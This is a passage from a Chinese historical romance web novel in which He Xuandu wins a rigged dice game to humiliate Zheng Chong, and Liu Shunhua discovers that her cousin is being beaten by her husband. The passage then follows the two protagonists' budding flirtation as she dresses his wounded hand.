杂乱的人声纷纷隐退,恍惚中柳舜华又回到了相府的莲池旁。 凉风过后,一池荷香,贺玄度坐在亭内,放下手中的书卷,朝着亭外的她柔和一笑。 郑充气得不轻,如此关头,他竟敢分心,分明是没将他放在眼里。 他稍一分神,再去听时,骰子摇得却是越来越快,只听得一个三、另一个是六。 舞姬将骰盅扣在桌上,等着两人下注。 郑充强行稳住心神,暗自琢磨。眼下这个情形,若要是小,除非另一个是 一。 很明显,选大胜的机会更高。 他打定主意,不再同贺玄度周旋,抢先选了大。 贺玄度握住酒杯,低声笑道:“最后一局,定胜负,郑公子不再好好想想。” 郑充嗤然一笑,狠声道:“你别得意,待会你家主子陪着我喝酒的时候,你别忘了跪着给我倒酒。” “我若跪下,怕是你承受不起,”贺玄度选了小,依旧是笑着,“还是劳烦郑公子跪着道歉吧。” 舞姬慢慢揭开骰盅,众人纷纷聚上前去,一动不动地盯着桌面,等待这决定胜负的一刻。 “赢了,赢了……”陈家兄妹高呼,连一向守礼的大表哥都激动得叫出声来。 郑充浑身一僵,怎么偏偏是一,怎么会这么巧…… 贺玄度慢悠悠地倒了一杯酒,缓缓饮下,“郑公子,你输了。” 第32章 第32章她是我的人,听懂了吗?…… 郑充一向以他的赌技为傲,如今输得如此惨不忍睹,他怎肯服气。 他指着贺玄度吼道:“你耍诈,一定是你在耍诈。” 陈莹冷哼一声,高声道:“郑公子是输不起吗?咱们这么多双眼睛瞧着,哪个看到他耍诈了?” 大表哥:“你说他耍诈,那倒是说说,他如何耍诈,不能空口白牙的诬人。” 二表哥:“骰子是你的,骰盅是醉月居的,至于这位舞姬,瞧着也是醉月居的,而且一看便是摇骰的新手,不知哪里能耍诈?” 郑充被几人问得哑口无言,气急败坏,一把掀翻了面前的桌子。 柳舜华离得近,眼见就要被砸到,贺玄度忙侧身挡了一下,冷不丁被桌上飞溅过来的碎片划伤了手。 柳舜华回过神,忙走过去,顾不得其他,掏出手帕替他包住伤口。 这是她头一回离得这么近看他的手,骨节分明,手掌宽厚,掌心却满是厚厚的茧子。 指尖无意触碰到那些茧子,柳舜华的手微微一顿。 他本是相府养尊处优的公子,这双手本该是细腻的,少时的贺玄度定是受了不少苦。 贺玄度掌心一阵酥麻,垂头望去,却见柳舜华眸光点点,微红了眼眶。 他以为柳舜华被吓坏了,拍着受伤的右手,嬉笑道:“没事的,你不用担心。你看,好好的。” 柳舜华轻叹一声,“你可仔细些吧。” 郑充在旁看着,突然一声嗤笑,朝着众人高声道:“我就说怎么一个小小的随从,哪来的胆量站出来,原来是主仆早已暗通款曲。” 陈莹忍不了,冲出去指着他的鼻子骂道:“你再乱说,我早晚有天撕烂你这张臭嘴。你自己龌龊不堪,便看别人都不干净。你是没长眼吗,没瞧见他的手被你划破了?” 贺玄度摸着被柳舜华包扎好的伤处,声音渐冷,“郑公子,你若是眼瞎,回去自行请人医治去,咱们还是说回赌注的事吧。愿赌服输,怎么,你这是要坏了赌桌上的规矩?” 郑充握紧拳头,他在凉州有诸多赌场,愿赌服输的规矩若打破,那他日后如何服众。 他咬牙道:“你想如何?” 贺玄度面无表情:“赌之前,柳小姐已经说得很清楚了。若是输了,你要向陈家道歉。” 郑充想了良久,他今日输了赌局,若不道歉,陈家众人绝不会罢休。还有这个小白脸随从,一看便是个赌术高手,若他日后在赌桌上胡言乱语,坏他名声,那赌场可就难办了。 为了赌场的事业,终是选择忍下这口气。 他眼一闭,对着陈家众人道:“方才是我口不择言,对不住。” 说罢,他便一脚踢开地上的杂物,对着随从吼道;“都杵在那里做什么,走啊。” “慢着,郑公子这就要走了?”贺玄度慢悠悠地说着。 郑充怒道:“我已经道过歉了,你还要如何?” 贺玄度微微一笑,“看来郑公子平日没有道歉的习惯,所以才这么生疏。道歉,讲究的就是一个心诚。你方才,不算。若郑公子实在不懂,可以不耻下问,我很乐意教教你。” 郑充不可置信地看着贺玄度,怒极反笑,“我倒是想听听,你准备如何教我?” 贺玄笑道:“也简单,适才你说输了要我跪下帮你倒酒,如今却是你输了。不过,我们也不是什么苛刻之人,跪着倒酒这种事,断然做不出来。” 他接着说,“这样,你就扇自己几巴掌,然后跪下道歉得了。” 陈家众人虽然厌恶郑充,对他方才的言行也极为愤怒,可他到底还是他们的大姐夫,而且还是刺史家的公子。 他们只想着争一口气,让他意识到自己方才言语失当。他们都知道,以他的秉性,是不会轻易道歉的,能逼得他道歉也算勉强为陈家挽回了颜面。他们实在没想到,贺玄度竟让他当众下跪扇巴掌。 柳舜华眉头深锁,望向贺玄度的眼神里满是探究。 不知为何,她有一种直觉,贺玄度似乎有意激起郑充与陈家的矛盾。 郑充像是听到了什么笑话,扒开随从,走上前戳着贺玄度的肩膀,“你到底知不知道我是谁?竟敢这么同我说话。” “想拿身份吓人?”贺玄度随手拨开他的手,“那你又知不知道,我是谁?” 他眼神遽变,脸色沉了下来,带着一种不可名状的威压。 郑充怔愣许久,险些被他震住。 “你不就是个随从。柳家虽在长安,可并非什么高门大户。其父不过是个司农丞,其兄虽被提拔,也不过是个无用的官职,你当我不知?” 贺玄度不再同他废话,从腰间掏出一块玉佩,“你可认得此物?” 郑充垂头一看,玉佩之上刻着一只猛虎,右上方还有一个“万”字。 “万都尉,是你什么人?” 贺玄度将玉佩收回,走近几步,“不知你有没有听说过,万都尉他有个侄子。” 郑充脸色突变,万都尉只有一个妹妹,曾嫁于当今贺丞相。 那他岂不就是丞相府的公子。 官场上有句传言:宁可得罪天,不可冒犯鹤。 这个鹤便是贺丞相的贺。 他方才,都做了什么蠢事啊? 他声音止不住有些颤抖,“你是……” 贺玄度一把按下郑充的头,附在他耳边,抬眼看了下柳舜华,沉声道:“对面那个女人,是我的人。我来凉州,就是为了她,听懂了吗?” 郑充不住点头,“懂,懂。” 柳舜华听不清贺玄度说了什么,只是他的眼神,让她莫名有些不自在。 “很好。”贺玄度拍了拍他的肩膀,“跪我的人多了,你也不算亏。跪完道歉,今日之事,一笔勾销。” 围观的看客议论纷纷,郑充抬着头看了一眼四周,心一横,跪了下来。 “各位弟妹,是我醉酒无状,一时说了混账话,请弟妹们谅解。” 他又看向柳舜华,拼命扇了自己几巴掌,“柳表妹,是我有眼不识泰山,我该死。求您大人不记小人过,饶了我这回。” 陈家众人看他竟真的肯下跪道歉,一时觉得畅快,方才压在心头的恶气一扫而空。 柳舜华一见这情形,便知贺玄度亮出了他的身份,不然就凭他几句话,郑充不可能乖乖下跪。 起初,她以为贺玄度不想公开他的身份,才称自己是她的随从。 可如今来看,他似乎并没有隐瞒自己的打算。 那为何,他一开始不直接亮明身份? 还是说,他也看不惯郑充,想当众羞辱他。 几人出了醉月居,陈家两兄弟围上贺玄度道谢。 大表哥道:“舜华,这位公子举止从容,瞧着并不像是随从,不知可否告知姓名?” 见郑充他们已经走远,柳舜华才道:“他是我在长安的朋友,姓贺。” 陈家众人又躬身致谢,“方才多谢贺公子解围。” 陈莹兴奋道:“贺公子,不知方才你说了什么,那厮竟真的下跪道歉。” 贺玄度笑笑,“也没什么,就是好心给他一些忠告罢了。” 陈莹愈加好奇,“忠告?他还真听了?” 二表哥一把拎起陈莹,“你问这么多做什么,还想学着惹事不成?贺公子做事知进退,你 学不来。” 陈莹哼了一声,扭过头去。 柳舜华想了一下,对着大表哥道:“表哥,我还有些话想同贺公子讲,劳烦你们先等我一下。” 大表哥会意,带着弟妹们等在一边。 等到众人离开,贺玄度歪头凑过来,得意道:“你是不是很感动,想单独谢我?” 柳舜华看着他的眼睛,点头道:“对,很感动,谢谢你。” 贺玄度没想到她如此认真,倒有些不好意思,尴尬地摸了摸头。 柳舜华思忖良久,抿着唇,“不过,我找你,却是为另一件事。我想,请你再帮帮我。除了你,我想不到还有谁能帮我。” 贺玄度眸光一亮。 她说,她想不到其他人帮忙,却独独想到了他。 他立即挺直了脊背,“说说看,你想让我帮什么。” 柳舜华没有直说,而是道:“我觉得,郑充有问题。” 贺玄度一愣,随即道:“他能有什么问题?方才我已经表明了身份,他不敢再找你麻烦的。” 柳舜华摇头,“不。方才我一直在观察,在你站出来之前,郑充似乎是有意在挑衅,我一直隐忍,就是为了试探他。而他果然步步紧逼,丝毫没有退让的意思。” 贺玄度摸了摸头,“会不会是你想多了,我看那郑充就是个无知狂妄之徒。” 柳舜华握紧了手,说出自己的担忧,“我听表妹说过,大表姐已经小半年未曾归省,就连外祖大寿,舅舅派人去请,都未曾请回来。表妹说,是大表姐嫌弃家中门第低,不愿回来。可今日看郑充这副模样,我担心大表姐出了状况。” 贺玄度见她皱紧眉头,安慰道:“郑充的父亲是凉州刺史,他应该不至于纵容儿子在家中无法无天,控制你表姐的自由。你不要胡思乱想,若是得空,你寻个借口,去郑府一探便知。” 柳舜华点头,想了想,又道:“还有一事,我总觉得有些不对。方才你亮明身份前,郑充不信,张口便说出我父兄的官职,很明显,他对我们柳家之事,了如指掌。” 贺玄度凝眸,“你兄长被提拔不过月余,他竟这么快得知,的确有些不寻常。” 柳舜华本想继续同他解释,没料到贺玄度竟也想到了这一层。 “兄长升任鸿胪寺丞,此前外祖一家尚不知晓,郑充又是如何得知。除非,他有意调查过我们柳府。” 贺玄度也觉出一丝不寻常,问道:“那你希望我如何帮你?” 柳舜华道:“明日,我想去一趟刺史府,但若是郑充在,我怕是见不到表姐。所以,我想请你想个办法,寻个借口,让他离开。” 贺玄度有些为难,“今日为了替你出气,我们闹成这样,明日只怕是不好办。” 柳舜华一愣,贺玄度真的是为了她。 今生的贺玄度,与记忆中的他,很不一样。 他总是毫无顾忌地表达自己,不遮不掩。 看到她被人刁难,他毫不迟疑地出手。 他帮了她,会一脸得意,当面向她邀功。 而前世那个他,永远站在她身后,即便是帮她,也总是悄无声息。 贺玄度见她不说话,便凑近道:“我只是说此事不好办,又没说不帮,你生什么气?” 柳舜华抬眸,静静地看着他,微微一笑,“我没有生气。” 她本就生得娇美动人,这一笑,更添了几分平和,月色之下,连风都温柔起来。 贺玄度心上莫名一动。 他素日最不喜世家那些温柔端庄的女子,总觉得她们少了一分真性情,就像是一个个任人摆布的木头美人,毫无灵性。 可柳舜华明明也是这样,她说话温声细语,举止有度,不急不躁,他却全然没有半分不屑,反觉她独特。 柳舜华缓声道:“正所谓不打不相识,其实今日这样也好,反而是个机会。你们都擅赌,而且他那样纨绔之人,做事习惯你也熟,或许可以从此处入手。” 犹如一盆凉水泼下,贺玄度脸色陡然一沉,“我怎么听着你说得不像好话呢。什么叫他那样的人,做事习惯我熟?你言外之意,是不是觉得我同他一样擅赌,都是些不成器的?” 柳舜华已经摸清他的脾气,不慌不忙安抚道:“怎么就不算好话了?我与你相识月余,这些时日,从未听过你滥赌成性。可见你只是擅赌,又不是滥赌。擅赌和滥赌,怎么能一样呢。” 贺玄度听罢,早消了气,又问:“那郑充也擅赌,并不曾滥赌,你不是照样觉得他纨绔?” 柳舜华声音柔和:“同样擅赌,他用赌来羞辱人,你却用赌来帮人,这天差地别的,他拿什么跟你比。” 贺玄度嘴角止不住上扬,垂头掩下笑意。 他就知道,在柳舜华心里,他到底是不同的。 不知想到了什么,贺玄度张了张嘴,犹豫片刻,还是道:“在长安时,我其实,也是赌过的,还曾在一夜间输了几万钱。” 柳舜华当然知道,兄长曾讲过。 她道:“你如此擅赌,怎么还会输那么多?” 贺玄度叹了一口气,“因为我缺钱。” “当时父亲管得严,家中钱财又都在那个人手里攥着。我便想了个办法,同赌场老板商议,输个几万钱,事后我们二八分账。” 柳舜华听得瞠目结舌,贺玄度这行径简直闻所未闻,也太独特了点。 贺玄度接着说:“我同你说这些,就是不想你将来从别人嘴里听到,信了那些乱七八糟的说辞。我想让你信我,我是不会滥赌的。” 柳舜华心上蓦地一热。 贺玄度如此坦诚,是怕她有朝一日,会误会他。 他是真的,将她当作了朋友。 柳舜华迎上他的目光,“我是信你的。” 贺玄度长舒一口气,片刻后,又道:“所以,我擅赌之事,还望回长安之后,替我保密,莫要让人知晓。” 柳舜华点头,“这是自然,棠华那里我也会叮嘱她。” 沉默片刻,贺玄度道:“郑充那边,明日我会想办法支开他。只是,你千万要小心。若他们有意为难,你大可搬出丞相府为你撑腰。放心,有我在,凉州城没人能欺负你。” 柳舜华静静听着,鼻尖突然有些酸楚。 贺玄度虽性情大变,对她又似乎总有一些若有若无的防备,却还是会像前世一样护着她。 月色下,两道身影一高一低,却又隐隐交叠在一起。 她垂头看着两人的影子,轻声叫了他的名字,“贺玄度。” 贺玄度低头看着她,“怎么,还有其他事需要我帮忙?” 柳舜华摇摇头,抬眸望向天上的月亮。 “我就是觉得,能遇上你,真好。” 贺玄度先是一怔,随后高扬起头,“那是自然。能碰上我这样俊美无双又至诚至善之人,是你的福气。” 他凑近了一些,盯着她的眼睛,“柳舜华,你可千万要好好珍惜。” 第33章 第33章你是为了那个柳小姐吧…… 送走柳舜华,贺玄度回到方才与柳舜华才相遇的石桥边,静静地坐着。 月色之下,他举起手,看着被手帕包好的伤处,嘴角不自觉挂着笑。 树影被踏碎,有人从暗处走了过来。 正是方才醉月居中摇骰盅的舞姬。 “公子。” 贺玄度回头,站起身来,笑道:“金芝,你来了。” 金芝转动着手腕,脸色不太好,闷闷地“嗯”了一声。 贺玄度满脸堆笑,讨好道:“今日劳烦金芝姑娘了。” 金芝白了他一眼,“都说了让你学着点,你偏不听,但凡你有点真本事,我都不至于那么心累。你当换那些骰数很容易吗?还有,你还故意输两局,若是我稍有差池,岂不是要前功尽弃?” 贺玄度依旧笑着:“你是谁啊,鬼王白的女儿,我还从未见过你失手。” 金芝道:“你不必奉承,我不吃你这一套。我就问你,说好只引起郑充的注意,你为何非要闹得他下不了台?如今这样,你要如何接近他套取消息?若耽误了万都尉的大事,你教我如何交代?” 贺玄度道:“你别急啊,我们这虽然认识得有些……不太愉快,但好歹也算认识了。俗话说不打不相识,他已经充分见识了我的绝技,我又报了我的身份,再想接近他,也不是什么难事。” 金芝不信,“你就编吧。我是看出来了,你就是故意的。” 说罢,又看了他一眼,意味深长道:“你是为了那个柳小姐吧?” 贺玄度笑而不语,想遮掩过去。 金芝却不放过,“别以为我看不出来,你就是怕郑家倒台以后,连累到陈家,所以才设计两家当场闹翻,让众人都做个见证,来证明郑陈两家不睦已久,以便来日清算时陈家能撇清关系。” 贺玄度没有否认,“真是什么都瞒不过你。” 金芝得意地仰起头,“接下来你打算怎么做,可需要我帮忙?” 贺玄度摇头,“不用,今日过后,我的赌技他不会再怀疑。你告诉舅舅,我会设法从郑充身上入手,查到刺史府与彭城王勾结的证据。” 贺玄度想了想,又道:“对了,还有一件事,郑充的夫人,也就是柳小姐的表姐,你让咱们的人留意一下。” 金芝问:“怎么,她也有问题?” 贺玄度:“不是,是柳小姐怀疑她表姐出了事。这个节骨眼上,未免也太巧了点。总之,你让人留心。” 金芝点头,“还有,都尉让人传话,说祁连山一带的贼匪可能已经潜入了凉州城,让你行动务必小心。” 贺玄度抬起头,眸中泛冷,“那正好,可以来个瓮中捉鳖。” …… 回家途中,大表哥提醒几人提前对好口信,到家后,绝不可提今日遇到郑充之事。 逛了一日,柳舜华他们都累得不行,道别后便各自回屋。 柳舜华与柳棠华住在大表姐出嫁前的闺房,与陈莹的闺房相连,仅用帘子做了隔断。 房间虽不大,却被舅母收拾得格外妥帖,床上换了新被褥,桌椅被擦得明亮。 柳棠华已经收拾好躺下,呼呼大睡。 柳舜华心里想着大表姐的事,便掀了帘子去寻表妹陈莹。 陈莹已经卸了妆容,准备睡下。 见柳舜华过来,她起身披了一件衣袍,亲热地拉着表姐坐到床边。 “表姐是睡不着吗,可是床被不适应?” 柳舜华看着陈莹的被褥,笑道:“舅母疼惜,已经把最好的留给我们,便是比起我们家来,都是好的,怎么会不习惯。” 陈莹笑得开心,“那便好。” 柳舜华拉着她的手,问道:“我是想问问大表姐的事。” 陈莹脸色一黯,“好好的,怎么又说起她了。” 柳舜华道:“你说大表姐小半年不曾归省,你们可曾去过刺史府问过?” 陈莹嘴一撇,“怎么没去过,是我亲自去的。” 柳舜华问:“那可有亲眼见到她?” 陈莹点头,“自然。就是过完年之后,往常那个时候,她总是会回来的,可是今年却不见她。我娘不放心,便差人去请,谁知她一口回绝。起初,我娘还担心她是不是在刺史府受了什么委屈,让我随她一同前去。” 陈莹似乎想到了什么不悦之事,脸又难看几分。 “我们在刺史府等了许久,才有下人回说姐姐身体抱恙,不便相见。” 柳舜华不解,“你不是说见到了?” 陈莹撅起了嘴,“还不是我靠着嗓门大,在他们刺史府一通乱喊,姐姐迫于无奈,怕我丢人现眼,才肯出来见我们。” 柳舜华急忙问道:“大表姐当时神色如何,可有不适之处?” “没有,她好得很。她当时全身罗绮,打扮华贵,完全不似以往的模样。” 说到此处,陈莹气得猛地一拍床沿,“表姐,你不知道她都说了什么混账话。她说,她如今是刺史府的少夫人,身份尊贵,不便与我们再过多来往,以免污了刺史府的门楣。” 她拉起柳舜华,“你听听,她说的这是人话吗?我娘从刺史府出来,气得发抖,险些没昏过去。” 柳舜华皱眉,大表姐这话,确实是重了些。 她想了想,问:“表姐当初是因何嫁入刺史府的?” 陈莹叹了口气,“表姐今日问了我,往后可莫要再提,祖父听到又要伤心了。” 柳舜华静静听着,终于明白前因后果。 原来当年外祖放马之时,无意间救下了郑充的祖父。郑充的祖父感激外祖相救之恩,许诺他日若富贵,定当结秦晋之好。后来郑充的外祖参军,并挣得了军功,风风光光回了凉州。回到凉州后的郑充祖父,没有忘掉昔日的诺言,便找上门来,替他孙儿求了大表姐为妻。 怪不得郑充会说,他是因为祖父才娶了表姐。 这么来看,郑充本人对这桩婚姻,好像并不是很满意。 柳舜华呆愣许久,大表姐的处境与她前世实在太像。 可很快,她又好像意识到,不是大表姐与她像,而是世间姻缘,本就圆满太少,幽恨太多。 陈莹感慨道:“姐姐嫁过去已有四年,郑充祖父在时,一切都还正常。可自去年郑充的父亲升任凉州刺史,祖父过世后,一切都变了。” 柳舜华还是觉得不对,郑充既不喜欢表姐,那其祖父过世后,表姐在刺史府应当不太好过,怎么反而突然狂悖起来。 还有,醉月居内,郑充的反应也不对。他三番两次主动挑衅,还特意调查他们柳府,又是为何? 她一头雾水,怎么也想不明白。 明日,无论如何,她都要去趟刺史府。 她知道表妹陈莹虽是个急性子,易冲动,可却最是心软。 想了想,她道:“你嘴上说着不提她,可今日看到郑充那般,不还是气不过,想替表姐出气。” 陈莹头扭到一边,嘴硬道:“我可不是替她出气,我是怕我们陈家丢人。” 柳舜华笑道:“咱们都是自幼一起长大的姐妹,姐妹哪有隔夜仇。不如这样,明日咱们一同去刺史府探望表姐如何?” 陈莹垂头想了一下,悻悻道:“算了,还是不去了,能不能见到还要另说,即便真见到了,也还是会失望。” 柳舜华安慰道:“我远道而来,亲自登门,这个面子表姐还是会给的。你放心,等见到她,若她还是之前的样子,我自会站在你这边,和你一起骂她一顿替你出气。” 陈莹笑了起来,似有所动,很快她又皱起眉来,“今日咱们得罪了郑充,怎么好再登门?” 她又叹了一口气,“我知道,今日我的确是有些冲动了,可我实在忍不了。我当时就想着,若不让他知道,姐姐也是有娘家可依仗的,只怕他日后会更不把姐姐放在眼里。” 柳舜华放下心来,陈莹心里到底还是关心表姐的。 第二日,用过早饭,柳舜华便带着陈莹前往刺史府。 路上,陈莹忍不住问:“表姐,你说郑充今日不在,真的假的?” 柳舜华笑笑,“应该没问题。” 说话间,两人便至刺史府门前。 柳舜华并未急着进门,而是左右张望着,似乎在等什么人。 不一会,果然有个小厮打扮的少年跑了过来,对着柳舜华道:“敢问,可是柳小姐?” 柳舜华点头,“你是贺玄度的人?他那边如何?” 小厮笑道:“在下周松,公子说事情办妥了,让小姐放心。” 柳舜华想了想,这么一大早贺玄度便将事情办好,可见他住得应该也不远。 她问:“贺玄度如今在何处落脚?” 周松垂首道:“都尉府,凉州的万都尉 是公子的亲舅舅。” 陈莹激动不已,忙拉着柳舜华,悄声道:“表姐,贺公子竟然是万都尉的亲侄子。我就说嘛,他那样的人,怎么可能是个随从。只是没想到,他竟有这么大来头。” 柳舜华也颇为惊喜,有万都尉这样的舅舅,是贺玄度的福气,她替他感到高兴。 事到如今,柳舜华也不想隐瞒,笑道:“你怕是不知道,贺玄度不单是万都尉的侄子,更是当今丞相的亲儿子。” 当年贺玄度外祖离开长安返回故居,不到三年便撒手人寰。如今万家,全靠万都尉支撑。万都尉行事沉稳,贺玄度生母万氏又早早离世,凉州城百姓们只知万都尉戍守边疆,抵御外敌,是个难得的好官,鲜少有人知道他同贺丞相的这层关系。 陈莹简直要惊掉下巴,“贺公子身份竟如此尊贵,怪不得郑充那厮肯下跪道歉。表姐,你早说啊。早知道有贺公子撑腰,我们哪里用得着忌惮他们刺史府。” 柳舜华在她头上敲了一下,“我跟你说,就是想让你以后见到他收敛一点,别一副一人得道鸡犬升天的样子。他身份贵重,我同他可没那么熟。” “他为了替咱们解围,不惜说是你的随从,怎么可能不熟。”陈莹凑过去,歪头笑道:“依我看,贺公子对表姐……” 柳舜华瞪了她一眼,陈莹马上乖乖闭嘴。 入府时,都尉府的周松就跟着身后。陈莹自觉有了底气,走得格外豪横些。 两人说明来意,后院管家的嬷嬷客客气气地让她们等在花厅。 等了好一会,那嬷嬷才出来回禀,“两位小姐,真是不好意思,我家少夫人今日身体抱恙,不能出来吹风,还望见谅。” 陈莹猛地一拍桌子,“又是这个借口,她是个糖人吗?风一吹便能化了还是怎的?” 柳舜华按住她的手,温言道:“表姐病了,断然没有出来见客的道理。” 管事嬷嬷不住点头:“正是,正是,柳小姐真是善解……” 话还未说完,就听柳舜华接着道:“既如此,那我们便进去瞧瞧表姐吧。” 嬷嬷忙拦着,“柳小姐,少夫人已经歇下了。” 柳舜华不慌不忙,“表姐病重,我们这些做妹妹进了府却不去瞧,这传出去可不太好听。这位嬷嬷,您这么拦着,不知道的,还以为您是欺我们这些穷亲戚不配呢。” 昨夜问过陈莹,柳舜华才知,郑充的母亲已于一年前病亡。如今刺史府后宅,说起来也是表姐当家。郑充不在,郑刺史这会在处理公务,若想见表姐,今日是绝佳的机会,她怎么可能让一个嬷嬷给挡回去。 嬷嬷脸色稍变,尴尬一笑:“柳小姐误会了,实在是少夫人身体不便。” 柳舜华懒得再同她周旋,看向陈莹,示意她带路。 两人绕过嬷嬷,直接往后院去。 嬷嬷也不再装,小跑着拦在两人跟前,“柳小姐,这里是刺史府,若您执意闯进后院扰了少夫人的清静,我可要叫人请你们出去了。” 柳舜华还未发话,一旁的周松已经大步跨了过去,一把抓起那嬷嬷的手,只听咔嚓一声,嬷嬷惨叫起来。 到底是都尉府出来的人,出手就是快准狠。 柳舜华瞥了那嬷嬷一眼,受伤了也好,免得郑充回来时她再连累受责罚。 两人正准备往前走,便看到远处回廊尽头走出来一个人。 来人是个女子,约莫二十余岁,一身锦绣华服,面容瘦削,脸上抹了厚厚的胭脂水粉,没有半分鲜活气,活像个纸人。 柳舜华盯着来人看了好一会,才认出是大表姐。 她脱口而出:“表姐?” 陈茵只是略一点头,便转头看向陈莹,语气冷淡道:“怎么,上次来闹还嫌不够?” 陈莹先是一愣,随后气得翻了个白眼,拉着柳舜华道:“表姐,你瞧见了没有?我就说,她还是这副鬼样子。” 柳舜华走过去,牵起陈茵的手,温声道:“表姐,是我,舜华啊。” 陈茵眼珠微微一动,很快便又冷下脸来,“你千里迢迢从长安过来,就是来陪她一起胡闹的吗?你是姐姐,她发疯你不劝着,怎么还由着她?” 陈莹气极了,为了见她,她们费尽心机,结果她却依旧如此。 她走上前,一把拉过柳舜华,猛地甩开陈茵的手,“表姐,咱们走。” 陈茵吃痛,轻哼一声,捂住手臂靠在廊柱上,气喘吁吁。 陈莹脚步一顿,抬头看了看她,只见陈茵脸上泛起薄汗,厚厚一层粉被汗渍冲刷,露出一片淤青。 柳舜华突然意识到了什么,她走上前,抓住陈茵的手,不由分说捋起她的袖子。 一片青紫交加,陈茵的胳膊竟没一块是好的。 陈莹呆住了,她直愣愣地走过去,眼里冒火,“是不是郑充那个混账干的?” 陈茵拨开柳舜华的手,整理好衣袖,“不关你们的事,你们还不快走。” 陈莹急道:“我问你是不是郑充打的?这个杀千刀的,我就不信没人管了,我这就找刺史说理去,看我不打死他那个混帐东西。” 陈茵听她这么说,一口气喘不上来,又咳了起来。 “还不是因为你,若不是你昨天同他置气,让他颜面无存,我又怎么会被打。好啊,你去打吧,你打不死他,死的便是我。” 陈莹气得面色涨红,看着陈茵狠狠道:“好,都是我的错,我就不该多管闲事,是我活该。” 柳舜华扶住陈茵,不停地拍着她的背,想为她顺气。 陈茵甩开她,“你们都走,我是刺史府的少夫人,不需要你们来可怜我。” 陈莹实在忍无可忍,她拉过柳舜华,忿忿道:“表姐,你可都听到了,人家是高门贵妇,咱们哪里高攀得起。咱们走,不在这里碍她的眼。” 柳舜华被她拉着往前走,忍不住回头。 陈茵正站在廊下,静静地看着她们。看到柳舜华回头,她眼中的哀伤一闪而过,又恢复了冰冷的表情。 陈莹尤不解气,走到门口,突然转身,对着陈茵道:“你放心好了,少夫人,以后我们陈家人不会再来了。” 陈茵浑身一滞,如坠冰窟,看到她们身影消失在庭院内,眼角划过一行清泪。 第34章 第34章表公子今日,也太矫揉造…… 陈莹真的被气到了,比昨晚尤甚。 她回头看着刺史府的大门,恨不得啐上一口,“表姐,咱们走,我再也不要来这里了,真是让人寒心。” 柳舜华将她拉上马车,低声道,“你这么说,才是让表姐心寒。” 陈莹一愣,赌气道:“她有什么心寒的,她可是高高在上的刺史府少夫人。” 陈莹不过十四岁,比棠华还要小,最是年轻气盛的年纪。况且她常年跟着表兄们放马,整日纵情驰骋于山野,心思单纯,哪里知道高门大户里的那些险恶。 其实又岂止是她,外祖一家都是厚道的,他们只以为表姐嫁了个好人家,内里如何又怎么知道。 一个没有任何依靠的女人,高嫁给一个不爱她的人,在夫家会如何,这样的境遇,柳舜华再清楚不过。 柳舜华摸了摸她的头,“莹儿,你相信我,表姐肯定有她的苦衷,总有一日,表姐她会同你说清的,你要给她时间。” 陈莹没有说话,默默垂下头。 她被柳舜华安抚一会,气已经消了大半,想到方才姐姐身上的伤痕,忍不住担心起来,“表姐,我姐她,好像真的被郑充那王八蛋打得有点狠,她不会出什么事吧?” 柳舜华柔声道,“我也心疼表姐,不过你放心,既然咱们今日能相见,表姐应该暂时无事。” 陈莹看了看窗外,叹了一口气,“但愿吧。” 将陈莹安全送回家,柳舜华让一直跟着的周松领着,去了都尉府。 近日匈奴一小队人马又来滋扰边境,万都尉带人去抵御。万夫人回了娘家,贺玄度尚未回府,柳舜华只得在正厅等着。 都尉府鲜少有女眷登门,如今突然来了这么个大美人,府内众人不时寻了借口从厅外走过,偷偷瞄上一眼。 柳舜华假装饮茶,来掩饰尴尬,一直喝到再也喝不下,贺玄度终于回来了。 一见到贺玄度,她忍不住起身,语气中不觉多了几分娇嗔,“贺玄度,你怎么才回来。” 说完,柳舜华便觉得有些不妥,她这话听着,活像独守空闺的妻子在抱怨晚归的丈夫。 贺玄度不说话,只是歪头盯着柳舜华笑。 柳舜华被他盯得脸上发烫,忙背过身去。 贺玄度见她有些窘迫,不再逗她,侧身走到桌前,倒了一杯茶递过去。 “让柳小姐久等了,我以茶代酒,向你赔罪。” 柳舜华一看,又是茶,苦着脸道:“真的喝不下了。” 贺玄度顺势将茶喝了,笑道:“你准备一直这么站着吗?” 柳舜华这才走了过去,靠着贺玄度坐了下来。 方才未曾留意,这一坐下,一股浓重的酒味扑鼻而来。 柳舜华皱眉,“你喝酒了?” 贺玄度下意识捂住嘴巴,“没喝几口,都是为了陪那个郑充。是不是有点臭,那我漱漱口再回来。” 柳舜华斜了他一眼,“你的手受了伤,饮酒不利于伤口愈合,你怎么又忘了。” 说到伤口,贺玄度摸着受伤的手,不动声色地用力一按。 “啊,又流血了,好疼。” 守在门口的周松一脸狐疑地看着屋内嚎叫的贺玄度。 表公子自幼被万都尉按在地上打,从未喊过一声。 今日这是要搞哪出?也太矫揉造作了点。 柳舜华急忙起身走了过去,抓住贺玄度的手,将绑住伤口的麻布拆开,“怎么好好的又流血了?” 贺玄度疼得直皱眉,可怜兮兮道:“可能是因为饮了酒的缘故,你说得对,我不该饮酒的。” 柳舜华急得直打转,“那你还不赶紧叫医工过来瞧瞧?” 贺玄度摇头,“不用,我这里有药,重新包扎便好。” 周松很快拿了药进来,特意瞅了一眼贺玄度的伤口,已经愈合的伤口,生生被人重新扯开了。 万都尉临行前交待过要照看好表少爷,如今他却受了伤。周松方想张口问究竟是何人所为,就被贺玄度一记冷眼给瞪了回去。 周松不再多言,乖乖退到一边候着。 柳舜华拿了棉布,轻轻按住伤口,待血止住,小心擦拭掉血迹,又蘸取了药膏,均匀地涂抹在伤处。 她半垂着头,云髻峨峨,眼睫微微煽动,春风撩动着衣衫,幽香阵阵袭来。 贺玄度屏住呼吸,生怕呼出来的浊气玷污了这份清静。 柔软的双手握住他的手掌,指尖划过他的肌肤,像是轻柔的羽毛抚过。冰凉的药膏涂上,灼热的伤口似乎被压制了不少。 “好了!” 轻柔的声音响起,贺玄度恍过神来,缓缓收回了手。 他举起手,看了看,身子往柳舜华那边靠近了一些,“你包得真好看,比他们包得好多了。他们一个个都笨手笨脚的,每次换药都扯得我生疼。” 候在门口的周松脸一黑。 今日换药时,不是表少爷自己说的随意些吗? 柳舜华点头,“你们这都是些男子,不注意也是有的,还是找个手脚轻柔的侍女来换的好。” 贺玄度收回了手,嬉笑道:“我看你就包得挺好,这两日辛苦你每日跑一趟过来换药,如何?” 柳舜华抬头,正撞在他的双眸上。 少年一双眼眸,灿若星辰,满含柔情,诚挚清澈得似一汪清泉,可柳舜华却像被蛊惑了一样,心底不由生出了更多期待还有迷惘。 她的心有些乱。 贺玄度见她不作声,又凑近了一些,举着手道:“我这手,好歹也是因为你才受的伤,你不会就这么弃我不顾吧?柳舜华,你不能这么无情无义,你太让我失望了。” 